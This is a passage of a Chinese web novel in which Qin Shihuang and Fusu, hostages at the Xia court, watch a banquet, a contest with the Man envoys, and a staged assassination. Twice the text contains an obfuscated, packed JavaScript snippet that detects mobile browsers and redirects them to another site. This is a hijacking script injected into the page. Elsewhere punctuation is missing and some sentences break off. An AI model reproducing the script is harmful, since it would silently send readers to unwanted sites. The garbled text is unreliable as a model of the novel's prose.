这才是正常的,难道还真指望这群人会关心一个不受宠的四公子? 暗探在夏都活动不是第一天了,前面四年都没见到有谁尝试过联络公子桑,给这小孩提供一点帮助。 扶苏垂眸吃了一颗葡萄。 有点酸,默默改去吃别的了。 夏帝驾到时,扶苏已经吃了小半盘子的水果。夏帝一眼就看到了,不过瞅了瞅小孩的小体格,什么都没说。 当着渊国使者的面,又不是自己儿子,太过苛责容易叫人诟病。到底只是小孩子,他也不好同个孩子计较。 扶苏就是故意的。 麻痹敌人正是要靠这些细枝末节,他是个不懂事的孩子,被宠坏了,没必要太过乖巧。 宴会上其实没什么乐子,就是三国打嘴仗而已。互相阴阳怪气,表面奉承,其实是在讽刺,唇枪舌剑互不相让。 扶苏充耳不闻,只吃他的。 今天这次的宴席不是在冬日里,也不是露天举办的,菜肴还没有彻底凉透,比上次的体验好得多。 秦政倒是放下筷子听了几耳朵。 蛮国人站起来敬酒: “此前大王过四十岁生辰,我蛮国地处偏远,不曾提前得到消息,错过了这等盛事,实在是遗憾。今日敬大王一杯,算是赔礼。 夏帝已经称帝了,但蛮人依旧以“大王 夏帝嘴角噙 着的笑容冷了一些: “哪里的话,蛮王当初五十大寿朕亦不曾赐下贺礼。今日既然提起,那便顺势补上。” 说着给太监总管下令,让人去库房里取一件宝物出来,等会儿让蛮国使者直接带走。 蛮人怒目相向。 夏帝和他们大王同为诸侯,怎能用赏赐这样的词语?还不等人拒绝直接安排礼物,坐实了自己比蛮王更高一等的地位! 等礼物取来,蛮人就更生气了。 那是当初一位蛮国贤王最爱的匕首,对方在对战夏国的战役上被围困,干脆投降了夏国,成为了夏国的将军。 虽然后续并没有捞到机会带兵攻打蛮国,却也在夏国都城里安享晚年,死后这把匕首留在了宫中。 如今夏帝用它作为贺礼,定然是在暗示蛮国迟早要举国归附,像那位贤王一样成为夏国的附庸。 第一轮,夏国完胜。 扶苏已经飞快填饱了肚子,开始认真看戏。顺便在心里吐槽一下,这个蛮国奇奇怪怪的。 夏国有王爷他可以理解,毕竟夏帝都称帝了,王比他低一级。可蛮国的国君自己都还是王呢,怎么的国内还有个贤王? 扶苏凑近阿父问他: “蛮国的贤王?” 秦政低声回答: “许多年前的事情了,当时蛮国势大,出现了一位称帝的蛮王,才在国内封了贤王。后来被夏国和秦国联手击退,霸业就此沉寂,他儿子便去了帝号。” 蛮国也曾经出过雄主,可惜实力不够强劲。单独打哪一国确实都能赢,面对两国乃至三国联手就不行了。 不知道夏帝为什么那么有自信,觉得自己不会步上蛮帝后尘。许是因为成功灭了海国,又或许是称帝这么久也没有被几国联合逼着去帝号,才飘了。 但几国的安分存在着一定的历史原因。 秦国是因为在搞内部改革,腾不出手来。交战过一次后发现夏国暂时奈何不了自家,干脆懒得管夏国了。 蛮国是单纯的最近没有雄主打不过,而且夏帝称帝还是称王他们不太在乎,就当夏国在过家家了。 渊国现任国君不愿意主动出头,联络过秦国发现秦国没兴趣管后,干脆也不管了。反正只要三国全都不认,那就只是夏人自嗨。 当年蛮国之所以被联合抵抗,很难说里头有没有民族的缘故。 蛮国毕竟是唯一的游牧国家。 还有一件事,扶苏也挺好奇的。不过这个问阿父没用,得去问蛮国王子。 扶苏忍住了暂时没问。 第二轮打嘴仗开始了,他得去看热闹,等下去校场的时候再问吧。 渊国使者起身: “有一件事,困扰我等许久了,不知当问不当问。” 夏帝一听就知道不是什么好话,但外交场合又不能勒令人家闭嘴,只能含笑示意外邦友人但说无妨。 使者就毫不客气地指出了: “我大渊王子如今已经虚岁十一,可他看起来瘦弱矮小,远不如其他同龄人。便是夏国的寻常庶民,五六岁的年纪也多有比他高壮的。还请大王给个准话,可是亏待了我国王子,莫非是看不起渊王?” 即便扶苏现在已经被养的白胖许多了,以前的亏损也没办法一下子补齐。何况使者早就知道公子桑以前过的是什么日子,发难时毫不心虚。 奈何夏帝脸皮厚,他反问道: “贵国王子个头太矮,难道不是你们渊人天生娇小?阁下也说了,庶民家中的孩子都比他高。连吃不饱饭的庶民都能比他壮实,显然是他自己的问题。” 夏帝的反击就是地图炮整个渊国人都个子矮,少来碰瓷夏国。而且因为话题当事人是渊国王子,这段话也是在内涵渊王基因不好。 气得渊国使者七窍生烟: “大王如此无礼,出口便是毫无根据的谣言,也难怪会养出八皇子那等不知礼数的儿子。” 不待夏帝发怒,他已经飞快告知了被蒙在鼓里的蛮国人。说的正是前几日八皇子造谣蛮国人不洗头,还要去扯蛮国王子辫子这件事。 即便夏帝要撕破脸收拾他们,拖蛮国使者一起下水,也能叫夏帝投鼠忌器。 如今对方防备的就是两国联手。 倘若夏帝当着蛮人的面处决他们,蛮人回去和蛮王一说,蛮王必然会认定夏帝是杀鸡儆猴,越发要和渊国结盟。 而夏帝要是不管不顾把两国使者都给干掉,那更好,一口气得罪两国,结盟更是板上钉钉。 夏帝只能咽下这口气。 不仅如 此还要向蛮国使者解释他那个不成器的八儿子为何冒犯王子是否是整个夏国上下都瞧不起蛮人。 扶苏就像最初被拿来当筏子的不是自己一样又凑到父亲身边小声嘀嘀咕咕。 他感慨道: “夏国真的好能编谣言他们是不是给各国都编了不同的说辞?” 秦政在儿子跟前有问必答: “中原国度一向如此我大秦当年也被编排了许多谣言。” 扶苏想起来了 扶苏又说: “渊国使者竟然知道宫里发生的事情他们就这么说出来了。夏帝必然会警惕起来将宫中人手筛查一遍。” 哪怕早就知道宫里不可能没有渊国眼线有没有闹到明面上来也是两码事。何况这件事夏帝命人封口了渊国暗探居然这都能打听到。 也不知道是上书房的侍从传出去的还是当时在朝堂上的文武官员里有人往外传递了消息。 可不管真相如何夏帝都会清扫宫中的人手。 所幸秦政和嬴家拉拢的人都是正常选入宫廷的后头才搭上线。双方的来往不算多也没什么逾矩的地方应该不会被大量揪出来清理掉。 后宫妃嫔大概会很生气。 她们纯属遭受了无妄之灾家族安插在宫里的人手能被清理掉一大半以后想做点什么就困难了。 秦政让儿子少操心旁人: “你管好自己就行。” 扶苏这操心的性子也不知道是遗传的谁。 蛮国王子忽然开口打断: “你们在聊什么?” 他全程就看到这两人时不时凑在一起说悄悄话在场三个质子只有他遭受排挤他有些不太高兴。 蛮国王子一开口大家的注意力都被吸引了过来。 扶苏怯怯地往父亲身边缩了缩: “我就是问问……” 蛮国王子皱眉: “问什么?” 扶苏老老实实地回答: “问什么时候可以去睡觉。” 他只是个小崽崽啊小孩子吃饱了就犯困到点需要午休天经地义。 蛮国王子一噎。 被这么一打岔 剑拔弩张的氛围缓和了一些。大家不再提之前的争执,好歹把饭平平安安地吃完了。 吃完之后夏帝提出可以让扶苏去偏殿睡午觉,但扶苏又不肯去了。最后众人以消食的名义前往校场,准备开始今天的重头戏。 两国使者原本想趁此机会接近各自的王子,蛮人是单纯关心王子,渊人却是想来套话。 扶苏干脆伸手要抱,被父亲抱起来之后就趴在他肩头闭上眼睛假装犯困,对渊人的靠近爱答不理。 扶苏现在的身量抱着不如之前轻松,但只抱一会儿倒没什么。秦政脸上完全没有勉强之色,护着小孩大步跟上夏帝的仪仗。 一直到在校场附近提前安排好的高台上落座,渊人也没问出什么来。等坐好之后就离得远了,他们只得不甘不愿地放弃这次机会。 看台上的座位安排叫彼此离得更近了一些。 扶苏趁机扭头看向蛮国王子的方向。 蛮国王子不明所以: “看我做什么? 扶苏不怕被打地问出了之前疑惑了很长时间的问题。 他问的是: “蛮似乎指代的是南方民族,亦或者形容鲁莽粗野。你们怎么以之为国号,不挑个好点的字呢? 蛮国王子:…… 硬了,拳头硬了。 秦政默默抱着人往旁边挪了一位。 看台上给他和扶苏各自准备了一个位置,他们俩这么靠在一起的话,坐哪里都是可以的。 蛮国王子瞪了扶苏一眼: “小屁孩!你懂什么! 扶苏就知道他是回答不上来了。 北方国家以蛮为国号实在是太奇怪了,根本就说不通。像是不清楚中原对四方都是什么称谓的人张冠李戴,造成的这么一个乌龙。 真正的对应,应该是东夷、南蛮、西戎和北狄,同时也可以统称为四夷。所以蛮国取名夷国还更合理一点,肯定比用蛮字好。 不过“夷本身是指手持弓箭渔猎的人,代指东方部族。对应的是西方和北方的“羌,这是指畜牧为生的人。 因而起名羌国也是可以的。 蛮国王子憋了半天,憋出一句: “你管我们!羌夷蛮狄这些不都 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13375638|110713||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是你们中原人对我们四方部族的称 呼?我们为什么要管你们怎么起名,我们自己爱叫什么就叫什么。” 秦政立刻护住儿子,不满: “你凶他做什么?他还是个孩子。” 蛮国王子:。 扶苏偷笑了一下,很快整理好表情,真诚地看着生气的蛮国王子。 他提醒对方: “我不是中原人,我是南蛮。” 渊国正是四夷中的南蛮,撞名字了。所以身为渊国公子的他对此提出疑惑,也不算故意挑事。 蛮国王子哑口无言。 他下意识看向秦政的方向。 秦政也回了一句: “我不是中原人,我是西戎。” 蛮国王子:……就离谱! 其实秦国算不上西戎,西戎的范围还在秦地之外。可架不住本位面的秦国算是西戎,因为这里的四夷是夏国定的,他们把除了夏国之外的四国都安了个名字。 大家都是四夷,谁也别笑话谁。 蛮国王子以前嘲讽人都是拿着万能公式“你们中原人怎么怎么样”开口的,突然遇到两个不是中原人的,就束手无策了。 蛮国王子决定拒绝和他俩聊天。 他就不该搭渊桑的腔! 小屁孩就是难搞! 他讨厌所有的小孩! 扶苏窝在父亲怀里,眨了眨眼,很快又闭上了,只留一条小缝。 秦政给他调整了一下姿势: “困了就睡吧。” 这句话声音没有特意压低,故意叫周围人听见。这样就没人会去关注扶苏在他的掩护下做了什么小动作,他家太子可以尽情地折腾修改器。 校场上已经开始比试了。 比试其实玩不出花来,射箭角斗马术试剑,论经对弈弹琴绘画。 可以看出来蛮国以前吃过被嘲笑文化水平不行的亏,这次特意带来了国内顶尖级别的人才。不为别的,就是为了在文斗上不会落入下风。 文斗只要不输得太惨,武斗再拿到足够的优势,整体上就算是蛮国获胜了。 秦政的目光略过几个参赛者。 他见蛮国人都神色认真,显然有备而来。反观夏国人,眼里多有骄傲之色,对对手并不是特别重视。 武将还好点,毕竟深知蛮国天 生体格强健,在这方面占便宜。文臣就不行了,略显自负了一些。 秦政只看了一眼,就猜到夏国要输。 扶苏则看着刷新出来的突发事件琢磨要怎么横插一杠。 夏人自己也清楚比试难赢。 所以他们敢应下这次的比试,肯定有做过两手准备。不仅是想靠文斗扳回一城,也考虑过不能在武斗里输得太惨。 能赢最好,就算不能赢,至少也得是个惜败,这样面子上才过得去。 基于这个原则,夏国在赛制上动了一些手脚。比如挑选出夏国人更擅长的内容进行比试,就像剑和箭。 剑术与射箭是大夏强项,蛮族稍逊一筹。于是蛮族也不甘示弱,提出要比骑马和空手的角斗,这是蛮族的强项。 一共四个项目,各占两个优势项,很公平。 夏帝开口就要婉拒: “朕觉得很妥。” 群臣:? 这和说好的不一样啊! 就连做好准备迎接夏帝拒绝的蛮国使者都是一呆,不明白夏帝这回怎么这么好说话了。 是不是有什么阴谋? 秦政低头摸了摸儿子的额发,知道是这个小坏蛋出手了。 扶苏:维护竞技公平,从我做起。 夏帝自己毫无所觉: “我大夏擅长角斗和骑术的人恰好身体不适,恐怕不能参加比试。” 众人越听越割裂。 你自己都说适合的选手参加不了了,前头又说能比这个,不觉得矛盾吗? 蛮国使者确认了一遍: “夏王觉得这两项比试可以进行?” 夏帝摇头: “是的。” 所有人:…… 蛮国王子嗤笑了一声: “他们还是尽早给夏帝请个太医过来看看脑子吧。” 说完觉得不合适,改口: “太医没用,还是请个大巫来去去邪祟更好。” 扶·邪祟·苏心虚地闭上眼睛装睡。 丞相觉得这样的夏帝很难搞。 陛下到底是要比那两项,还是不比。他现在这个样子,给的准话也叫人不太敢相信。 蛮人却已经懂了。 他们呵呵一声,在心里嘲讽夏帝奸诈。 蛮人不觉得夏帝是中邪了他们只领会到了两个关键点。第一夏帝同意他们比试骑马和角斗。第二夏帝说夏国这方面厉害的人今天比不了。 那还有什么好说的?这不是明摆着耍赖吗? 这样一来比试很公平并不偏向大夏。 但他大夏提前说了没派厉害的人来输了也是理所当然。不会被嘲笑替补打不过敌国主力属于正常情况。 万一爆冷赢了那就能狠狠打蛮国人的脸。说一句夏国不用出最厉害的人都能打赢蛮国蛮国不过如此。 这两场无论比还是不比蛮国都要吃亏夏国可真是很懂要怎么恶心别人。 蛮国使者像吃了苍蝇似的。 有人小声问: “还要坚持比这两项吗?” 不比吧正合夏国的意。夏国本来就不想比蛮国主动放弃再好不过。 比吧 总之他们总能找到借口。 蛮国正使脸色难看: “换别的比。” 他们蛮人又不是只擅长骑马和角斗改作马背上交战依然是他们占优势。正好也试一试夏国将领的本事战场上狭路相逢看看谁胜谁负。 虽然做出了退让蛮人还是不依不饶地问起那两位比试者是得了什么病为什么恰好在今天无法出席。 夏帝回道: “也不是什么大病只是便秘而已。” 众人:……? 秦政确认他听见儿子笑了一声。 不错又是这家伙干的好事。 秦政特意看了一眼原本的文字是什么——「只是腹泻而已。」 夏帝估计本来想说的是吃坏了肚子食物中毒这种事情确实很适合拿来当借口搪塞。发病快且偶然具有一定的运气成分又不是大病比试结束后迅速痊愈也说得通。 这样就不会出现“蛮国使者不信邪赛后登门拜访发现病人活蹦乱跳”这样的乌龙腹泻恢复快是正常的。 而蛮国也确实不能强迫腹泻的人和他们比试那样胜之不武。 可惜被扶苏这缺德 第 224 章 归国 第224章归国 外界的流言四起,大夏人对于自己国家在本次比试中5:2败给蛮国非常不满。蛮国使者出入都能遇到对他们怒目相向的夏人,不过他们并不在意。 输的是大夏又不是他们,他们何必毁了自己的好心情? 蛮国使者完成了本次出使的任务,大摇大摆地离开了夏都。 半个月后,秦政收到了最新消息。 ——蛮国使团遭遇了刺杀。 扶苏听完挑眉: “结果呢?” 碧星答道: “无人伤亡。” 伤和亡是两回事,无人伤亡代表着不仅没人死亡,也没人受伤。 会在这种时候刺杀蛮国使团的,不是恼羞成怒的夏人,就是企图嫁祸的别国。 但无论哪一种,都不可能放任蛮国使团全须全尾回去。最起码也要重伤几人才能解恨,或者完成嫁祸。 雷声大雨点小,那就成了个笑话。 秦政若有所思: “笑话吗?” 扶苏听父亲自言自语,一下子反应了过来。 如果说这场刺杀确实是为了叫夏国刺客成为笑话的话,保不齐就是蛮国自导自演的。只有自导自演,才能百分百保证无人受伤。 扶苏压低声音: “是蛮国?” 秦政微微摇头: “应该不止。” 扶苏就了然了。 蛮国和秦国形成了合作,如果要搞假刺杀,大概率会一起商量。单独一方弄这样的事情出来,难保不会引起盟友不必要的提防。 说句难听的,如果是蛮国自己搞的,他们舍不得自家使者受伤,难道还会吝惜队伍里的秦人吗? 叫秦人受点不痛不痒的小伤,同样可以嘲讽夏国刺客不行。顺便还能挑拨夏国和秦国的关系,让秦王记恨夏帝。 反之,秦国动手肯定也不介意给蛮国添一把火。大家只是寻常盟友,又不是同生共死的八拜之交。 只有两方一起商量出的计划,才能做到所有人都平平安安。互相监督彼此,不叫任何一家吃亏。 碧星听懂了: “那要是渊国出手嫁祸夏国肯定也是这个道理 ,使团很难平安渡过,除非提前得到消息有所防备。” 秦政颔首: “你再去打听一下其中细节。” 扶苏若有所思: “也不能排除确实是秦王早有预料,担心使团归国时会遇险。所以还是得查一查才好下定论,父亲是这个意思?” 秦政没有否认: “夏人狂悖,许多时候并不完全听从夏帝的命令。如今刺客的消息传来,各处的风向都是认为夏人确实能做出这样的事情,可见各国都对夏国贵族的行事风格有所了解。” 那么秦王怎么可能不防备夏国当真行刺呢?保不齐就是确有其事。 碧星听懵了。 到底是哪种情况? 她怎么感觉两种都很有道理? 公子说哪个都说得信誓旦旦的,弄得她实在是难以分辨。 隔了两天,嬴家递来消息。 说是使团在归途中暗中有人保护,提前发现了刺客的踪迹,并将之捉拿。 不过此事秦王早有预料,已经提前和使团说好了如何处理。所以使团很快就按照计划行动起来,自导自演了一番刺杀的戏码。 毕竟之前的刺杀没开始就结束了,行动未曾开启和行动失败是两个概念。前者还能狡辩说没有刺杀的意思,必须得把刺杀给坐实了。 偏又不能抓着那群真正的刺客演戏,也就只能自己找人演演了。 最后再把没来得及刺杀就被抓的刺客砍掉一大半,捅伤剩下的。将进气多出气少的刺客扭送给当地的夏国府衙,要求夏帝给一个说法。 衙内官员甚至都没能审问出多少内容,那群重伤患就死了。夏帝只能自己派人去追查,看是谁这么胆大包天,敢背着他刺杀使团。 扶苏问道: “使团还在当地吗?” 秦政往下翻了翻: “已经离开了,说是不信任夏国的治安,于是快马加鞭回了蛮国。” 这就很打夏国的脸了。 偏偏夏帝还不能说什么,人家在你的地盘上遭遇刺杀是事实。你总不能指责人家不信任你,不肯在你们夏国停留吧? 夏帝被气了个够呛: “成事不足败事有余的东西!” 要刺杀你就派点厉害的人过 去好歹弄出点成果来。要是有本事把使团全部杀死自己都能给他们伪造成遭遇山匪或者别的意外死因。 结果敌方一人没伤自己这边死伤殆尽。临死前还留下了蛛丝马迹叫人查到了罪魁祸首头上。 蛮国使团确实不清楚具体是大夏哪位贵族这么咽不下气但他们发现了动手的人百分百是夏人这口锅就得夏帝去背。 蛮王可不管这是贵族自作主张。 堂堂夏国君主管不住手底下的贵族还不如承认了就是官方派遣的刺客呢。后者只会让人嘲笑夏国输不起前者却会叫人质疑夏帝的威望和能力。 扶苏却说: “夏帝这般不算什么他就是对自己太有道德要求了。” 这里的道德不是广义上的道德 然而就他这种程度的翻车丢到春秋战国根本不惜得拿出来比较。多的是比他奇形怪状的国君依然好好地当着他们的诸侯王。 这世界就是一个巨大的草台班子。 秦政深以为然: “儒学过于注重道德将君主也限制了进去。夏帝因此格外在意这些而他作为夏国君主也无法不去在意。” 有时候不是国君自己没道德就可以所向披靡的底下的臣民对你有道德要求就会一直挑你的刺。 如果你能力还不错可以镇压住这些臣民还好。一旦镇压不住那就没办法了。 无法打破规则便只能去适应它。 夏帝显然就被束缚在了这个困局里他不得不在意夏人对他的评价。一旦评价不好就会影响他在国内的威望。 威望不行权利就会受到制约贵族们更不听他的话了。 解决这个问题的办法也很直白——加强集权打压贵族和官僚。 当皇帝的权利大到无需通过个人能力就能叫臣子不敢置喙的时候哪怕皇位上坐的是个废物也不影响什么。 大秦就有这个趋势。 夏帝空有当天子的心却连臣子都制约不住。夏国这个制度要改不然什么阿猫阿狗都能出来蹦跶帝王哪有空天天应付他们。 秦王瞧不上夏国的制度和风气但这不妨碍秦王抓住这些弱 点,往死里踩。 从之前的比试到这次的刺杀,本质上都是为了打击夏帝的威望。这招换别的国家不好使,在大夏可太好用了。 贵族们对夏帝的不满日渐增加。 说起来之前冰和炭的事情,夏帝就得罪过一部分贵族。 扶苏看着父亲把信烧了: “这种程度的小动作,还不足以动摇夏帝的统治根基。” 秦政将灰烬拨散,检查了一下烧干净没有。 闻言随口回道: “无妨,千里之堤毁于蚁穴。” 何况本来也没指望夏帝因此就能彻底下台或者完全管不住手下臣子。 秦国要的是夏国贵族多点反骨,时不时给夏帝找点麻烦。 夏国上下别拧成一股绳,三国就能占到不少便宜。在这个基础上,越乱越好。 扶苏明悟: “夏帝之前悄悄为攻打渊国做准备,结果准备了这么久,都快过去大半年了,还是没有准备好。” 今年的突发状况有点多,拖慢了夏帝的脚步。渊国却没有遭遇这么多变故,他们应该也察觉到了危机,同样也在做御敌的准备。 那么等两国真正开战后,夏国真能打赢渊国吗?这场战事从准备阶段起就波折不断,后续要是输得稍微惨一点,对夏帝来说恐怕又是一场大打击。 秦政叫来碧月把灰烬处理掉: “他应该习惯这件事。” 对夏帝来说,连番打击已经快要成为家常便饭了。 碧月好奇地问道: “公子这是在说什么?谁应该习惯什么事情?” 秦政没有回答。 扶苏笑眯眯地说: “蛮国王子要习惯被八皇子针对。” 碧月不疑有他,了然地点头: “奴婢听闻上回的事情后,八殿下似乎收敛了一些。如今看来只是表面收敛,私下里竟还在欺辱蛮国王子吗?” 这是真不怕闹出来又被责罚。 扶苏心道他当然不怕。 除了那回因为满朝文武都知道了他的骚操作,才被太监打了手心。其余几次闹事,哪一次八皇子不是毫无惩罚的? 受罚有伴读代他受,他怕什么。小打小闹的欺负人不算什么大事,在夏帝看 来这就是小孩子调皮而已。 大不了再让伴读挨几次惩罚就是了。 蛮国王子本身也不会去找夏帝打小报告,他不傻,知道夏帝肯定会偏向自己的亲儿子。 就算真的罚了,也只是为了大家面子上好看。哪怕是上回的打手心,明眼人都能看出来根本没用力。 这种惩罚有什么意思? 蛮国王子觉得自己是大人了,告状是小孩子的操作。所以他要用自己的办法报复回去,那样才能叫八皇子害怕。 正好他们有武课,蛮国王子就天天逮着八皇子和九皇子对练。没用十天,两个小孩就安分了。 但是没用,蛮国王子依然不肯放过他们。 两人跑去找母妃哭诉,他们母亲再去问夏帝能不能管管。夏帝正为前朝焦头烂额,当即就训斥了两人,明显不想在管上书房的那点破事。 后来,两人就逆反了。 亲爹不管,蛮国王子又“咄咄逼人,两人觉得自己特别委屈。 他们认为自己已经被教训过了,蛮国王子就不应该继续揪着不放。可惜王子不这么想,没人规定报复只能报复到什么程度。 得饶人处且饶人? 他们蛮国不讲究这个。 扶苏觉得这样挺好的: “两个皇子最近都没有功夫去欺负其他人了。 他们应付蛮国王子还来不及呢。 只是两小孩不是肯吃亏的主,现在又从认命状态叛逆到了报复状态。既然认怂也无法让自己好过,那便和蛮国人杠上,死也要出一口恶气。 昨日两人才在蛮国王子用的墨里加了点东西,被王子察觉到了。王子也不管是谁做的,他就认定是两人做的,于是下午的操练额外增加了一点强度。 两边现在就是个互相伤害的阶段。 谁也讨不了好,倔脾气硬顶着。每天都要想办法加倍报复回去,然后同样遭到了翻倍的报复。 内卷开始了。 不得不说,这对秦政父子来讲是件好事。八皇子和九皇子已经很久没有想起来他们两个了,日日就盯着蛮国王子折腾。 这件事碧月也了解,她十分庆幸: “两位殿下可千万不要想起公子来,公子好不容易才过上安稳的日子。 秦政看了她一眼: “放心,不会的。” 扶苏则是看了看父亲,忽然问碧月: “碧月姐姐,若是能出宫去,你想回家吗?” 碧月一愣: “那是自然,我家中还有父母兄长在等我回去。实不相瞒,若非家里实在是困难,当初也不会送我入宫。” 父子俩早就发现了,夏国王宫里的这些宫女太监并不像先秦那些宫侍那般,是世代在宫中侍奉的奴隶。 夏国矛盾地处在奴隶制和封建制的混合状态下,这倒不奇怪,战国末年也多的是这样的情况。 只不过在先秦,很少能看到向外采买宫侍的。只有封建制往后发展的朝代,采选宫女和太监才比较常见。 其中宫女到了年纪会有机会出宫,一般是二十五岁之后。而在先秦那是想都别想,侍从哪有重获自由的机会? 沦为奴隶后基本就没可能恢复庶民身份了。 碧月是幼年时被宫里采买的女孩。 她家穷到吃不起饭,就把女儿卖进了宫。虽然她上头还有个哥哥,但想也知道家里不可能把哥哥卖掉。 除却传宗接代以及男子入宫要去势这两个非常重要的原因之外,还有一点就是当时哥哥已经是个半大小子了。 这是个很现实的情况。 在民间,他这个年纪的少年已经能给家里干很多活。没有卖劳动力的道理,留着劳动力才能给家里创收。 何况宫里也不收这么大的少年,去势的时候死亡率太高了,他们更偏爱男童。 碧月说起这些往事: “我爹娘原本想把我卖去附近的贵族家里,想着离得近点,能时常听闻我的近况。但是贵族只收奴隶,卖去他们家中以后就没有脱身的机会了。” 综合考虑后,虽然夏宫给的钱少些,他们还是把女儿送进了宫。 扶苏对她父母的选择不置可否: “他们年年来看你?” 碧月点头: “每年有一次在宫门处探亲的机会,他们都会来见我,给我带点东西。” 碧月也想过,要是贵族雇佣长工的话,父母会不会将哥哥也一起卖掉,而不是只卖她一个。 后来觉得纠结这个挺没意思的。 扶苏

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13375639|110713||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 托腮看着她: “你不怨恨他们吗? 碧月沉默了。 一点都不怨恨不太可能,只是对比身边其他处境更悲惨的女子,就觉得自己其实命还挺好的,至少她爹娘还在意她。 秦政点了点桌面: “夏国要乱了。 扶苏补充道: “夏国要和渊国打仗,而且夏帝最近得罪了蛮国。夏国处在中心位置,迟早会成为众矢之的。你们一家继续停留在夏国,恐怕会很危险。 而且碧月曾经给他们俩做过大宫女,夏帝要是不讲道义的话,也有可能迁怒这批宫人,拿他们泄愤。 等到夏渊两国开战,父子俩就要离开夏宫了。碧月虽然已经差不多到了出宫的年纪,但出了宫却不代表就能安全。 只是他们不能拿夏帝说事,这才改为以战争作突破口。 碧月果然十分担忧: “难道打仗会打到都城附近吗? 她父母住在都城周围的乡下,她以为国都周围应该是安全的。毕竟夏国这么强大,哪有敌人能打得过来呢? 可看公子的态度,碧月心里一个咯噔。 入秋后,碧月离开了夏宫。 碧星问起碧月的去向。 扶苏答道: “她和父母家人迁去海国旧地了。 他们给了碧月几个选择,包括去秦国定居。碧月在里面选了去海国,因为她们家在海国有远亲。 搬去秦国无亲无故,日子也不会太舒心的。碧月没好意思说她担心秦国被灭,到时候她们搬了还不如不搬。 搬去海国则不同,海国已经被灭,地理位置又比较“偏,那里应该没人会打过去。 她们家的远亲就是在海国灭亡后当机立断搬去的。 当时其实没想那么多,主要是先帝发现海国人不服管教,想要多迁一点夏国人去那边定居,借此同化海人。 夏帝给的条件不错,她家好几支远亲都因为日子困苦,在官府来询问时主动报名了。听说去了那边分到了更多的土地,生活宽裕许多。 碧月家里起初日子过得还不错,就没有响应先帝的号召。哪里想到二十年过去,反而越过越差,还不如搬走的亲戚。 主要也是夏都这边气候不 好,遭遇了几年的粮食减产。庶民家底薄,渐渐就从温饱沦落到贫困了。 碧月可能对王宫有点心理阴影,只想回到家中做个寻常庶民。扶苏也没强求,给了她不少银钱,就让嬴家安排去了。 秦政之前突然问起碧月是否想出宫,除了大战在即之外,也是因为那天碧月问了不该问的话。 她这个性子,确实不适合在贵族身边侍奉。当侍从的最忌讳好奇心旺盛,多问多错,一不留神就容易惹来杀身之祸。 秦政自己是君王,太了解贵族们爱用什么样的侍从了。 他和扶苏不会因为碧月说错一句话就将人处置掉,其他人可不见得。所以碧月没办法去其他人身边当差,偏偏以她的资质又够不上留在秦皇身边的标准。 父子俩一致觉得她既然不想继续做侍奉人的仆婢,那就给她一些钱让她去外头过日子。 愿意搬去秦国自然是最好的,父子俩一句话就能让底下的人多看顾她一些。 可惜碧月不肯去。 那就只好借嬴家遍布天下的商道人手看顾着点了,有钱有地,日子应该难过不到哪里去。等以后大秦拿下海国的地盘,照样能够庇佑她。 碧星有些可惜: “碧月姐姐怎么不肯去秦国?” 扶苏告诉她: “天底下没有十全十美的事情。” 碧月其实不知道他和父亲私底下折腾的那些事情,就算知道也不会影响她的选择——她分明看出了公子正非池中物。 便是嬴家收买的那些宫人里,也多的是不信秦国可以成就霸业的。所以嬴家就只假装是寻常商户,根本不对他们透露太多实情。 碧星抿了抿唇: “我是肯定要跟着公子的。” 碧星根本不在意把她卖进宫的家人,她只想为自己的前程努力。去秦国就能不断往上爬,她才不会放弃呢。 碧星从一开始就知道很多秘密。 她看似是个没经验的新来的,反倒更懂宫中的生存法则。不该问的她从来不问,也不会因为和公子相处久了,就模糊了主仆界限,觉得自己可以做公子的主。 王宫不是轻松安全的现代职场,它残酷又冰冷。在这里绝不能把上级当朋友,不然肯定第一个被弄死。 碧星就说: “碧月姐姐还是出宫去吧,她那样温柔却有主见的人,恢复自由后一定会过得很好的。 扶苏笑眯眯地点头: “是呀,我也这么觉得。 等秦灭夏,自己可以立女户。有钱还有田产,背后有靠山,怎么过不好?她又不是懦弱的性格,没人能欺负她的。 等夏帝处理好刺客的事情,都入秋好些天了。 期间夏帝时常会想起当初的比试。 那天他不知道为什么,说了一些很奇怪的话。当时他自己没觉得有什么不对,事后才发现自己和中邪了一样。 夏帝就想去祭拜天地先祖,寻求神灵庇佑了。 找大巫来驱邪根本没用。 夏帝找过很多次,可隔一段时间还是会发生这样的事情。后来他就不信任大巫了,认为还是得祭祀神灵。 奈何之前太忙,抽不出空来。而且为着这点事搞一场祭祀,朝中肯定要吵吵嚷嚷一番。 夏帝自己觉得这很重要。 臣子不这么觉得。 治粟内史嚷嚷着没钱,让陛下再等一等。不如等过年的时候,再去祭祀。 反正过年也要举办祭祀。 每次祭祀都要花不少钱,打仗在即,治粟内史只想给国库省钱。他还怀疑夏帝在危言耸听,其实根本没有什么邪祟作乱。 秦政觉得匪夷所思: “君王身体有恙,他们不劝着夏帝早些祭祀神灵,反而找借口拖延? 这操作放在大秦是下一秒能被拖下去治罪的程度。 秦政前世射鲛后病倒,蒙毅二话不说就去祭祀山川了。谁敢劝这个?生怕君王能痊愈是吗? 扶苏倒是理解: “他们可能没见识过夏帝中邪,觉得夏帝在胡扯。 上回夏帝虽然张口就是“朕觉得很妥 何况哪有邪祟只搞这些小动作捉弄人的?夏帝别不是巧立名目从国库抠钱吧? 不怪臣子应激。 隔壁渊国的渊王就经常这么干。 